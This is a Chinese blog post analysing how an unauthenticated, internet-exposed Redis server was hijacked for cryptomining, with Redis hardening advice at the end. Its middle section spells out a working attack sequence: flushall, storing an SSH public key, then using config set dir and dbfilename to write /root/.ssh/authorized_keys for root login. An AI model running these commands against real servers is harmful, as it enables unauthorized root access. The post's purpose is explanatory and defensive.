美文网首页我爱编程
不安全的redis设置,redis被攻击分析

不安全的redis设置,redis被攻击分析

作者: 广西年轻人 | 来源:发表于2018-04-07 21:37 被阅读46次

    为什么不安全。

    之前为了使用redis,没有去管那些细节问题,就直接在阿里云的centos上直接编译安装了一个redis,没有做任何配置的修改,就改了一下可以后台启动和远程连接。就这样直接赤裸裸的暴露在公网下。所以带来的问题是,某天发现centos cpu占用一直99%,杀掉后又快速启动起来,被挖矿了。百度一番,是redis带来的问题。总结分析了一下。

    大概原理分析:

    1.redis没有做任何安全措施,直接暴露在公网,任何redis客户端都可以直接连接。

    2.被恶意的连接连接上后,在他的机器上生成ssh秘钥,然后set到redis中,最后使用redis的config命令,将默认RDB方式出来的dump.rdb文件修改为authorized_keys,然后把文件的目录设置到/root/.ssh下。

    3.这样一来,就非常危险了,攻击者可以直接ssh到你的linux主机,接下来,root账户,为所欲为。被挖矿也就不稀奇了。

    攻击实战

    被攻击者机器:默认配置安装redis,可以远程无密码访问。

    在攻击者机器上:
    1.在本机生成公钥,把公钥保存到文件中

    cd /root
    
    ssh-key-gen -t rsa
    
    cat /root/.ssh/id_rsa.pub > aaa.pub 
    
    cat aaa.pub
    
    

    2.登录到redis,fluahall掉所有数据。

    ./redis-cli -h xxx.xxx.xxx.xxx
    
    ping
    
    flushall
    

    3.将键aaa的值设置为公钥的值

    cat /root/aaa.pub | ./redis-cli -h xxx.xx.xx.xxx -p 6379 -x set aaa
    

    4.继续修改redis的配置,登录到redis

    config set dir /root/.ssh
    
    config set dbfilename authorized_keys
    
    save
    

    5.此时,攻击者就可以远程登录到被攻击者的机器上了。为所欲为。

    原理就是利用redis的rdb持久化机制的漏洞,把ssh公钥设置到redis,然后利用持久化,动态修改redis的持久化文件的目录和名字,篡改了ssh的秘钥。然后就可以远程登录。

    安全防护配置

    解决办法一:采用绑定ip的方式来控制访问。
    具体做法是,修改掉redis.conf的#bind 127.0.0.1,修改为允许访问的ip

    解决办法二:采用密码的方式。
    具体做法是,修改redis.conf下的requirepass yourpassword,设置登录密码。
    在登录的时候使用密码登录,auth yourpassword。

    此外,正在运行的redis也可以设置密码
    config set requirepass yourPassword
    ,redis的密码可设置的复杂一些,不用担心忘记,都明文的写在配置文件里的。

    相关文章

      网友评论

        本文标题:不安全的redis设置,redis被攻击分析

        本文链接:https://www.haomeiwen.com/subject/czcuhftx.html